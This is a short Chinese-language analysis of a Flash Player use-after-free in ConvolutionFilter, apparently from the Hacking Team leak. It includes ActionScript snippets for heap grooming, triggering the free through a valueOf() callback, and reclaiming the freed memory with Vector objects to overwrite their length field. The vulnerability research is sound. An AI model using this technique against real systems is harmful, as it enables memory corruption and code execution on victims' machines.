<p>这个漏洞和 Flash 的 ByteArray 成因类似, 都是调用了 Clasz.valueOf() 参数引发的 uaf 命令执行</p><p>Vulcan 在第一时间进行了分析,基于该报告(1)进行说明:</p><pre class="lang-js" data-lang="js">// try to allocate two sequential pages of memory: [ matrix ][ MyClass2 ]
for(i=20; i < alen; i+=6){
a[i] = new Class2(i);
for(j=i+1; j < i+5; j++)
a[j] = new ConvolutionFilter(14,15); // ConvolutionFilter 在这里创建
a[i+5] = new Class2(i+5);
}</pre><pre class="lang-js" data-lang="js">var m:Array = new Array(bLen);
m[0] = new Clasz;
m[1] = m[0];
// 设置 matrix
try { filter.matrix = m; } catch (e:Error){}<br></pre><p>这里有一个关键点,filter.matrix 被赋值为 m(类型是 Array),而 Array m 的第一个元素是一个 Clasz 类,而 Clasz 类定义了 valueOf 方法,这个 valueOf 是漏洞触发的关键点:<br></p><p>3. 在 Clasz 的 valueOf 函数中,设置 matrixX: </p><pre class="lang-js" data-lang="js">filter.matrixX = 15; // reallocate filter matrix, 执行完毕后 ConvolutionFilter 内部的
// 一个 float 数组 (matrixArray) 就会被释放, 而经过 valueOf() 之后
// 已释放的 matrixArray 还会继续使用, 并且往里面写入数据
// 从而造成了 use after free.
</pre><p>可以看到 valueOf 函数中,在设置了filter.matrixX 之后,分配了一系列的 Vector<uint>,这些Vector就是用来占用释放后的 matrixArray 的内存的。</p><p>这样当程序继续往被释放后的 matrixArray 里写数据时,实际上是在往 Vector 对象里面写数据,从而达到修改 Vector 长度字段的目的。</p><p>参考链接: </p><p>(1) <a href="http://blogs.360.cn/blog/hacking-team-part2/" target="_blank">Hacking Team 攻击代码分析 Part 2</a></p><p>(2) <a href="http://drops.wooyun.org/papers/5446" target="_blank">Exploiting CVE-2015-0311(超详细)</a> </p><p>(3) <a href="http://drops.wooyun.org/papers/5460" target="_blank">Exploiting CVE-2015-0311, Part II: Bypassing Control Flow Guard(超详细)</a></p>
暂无评论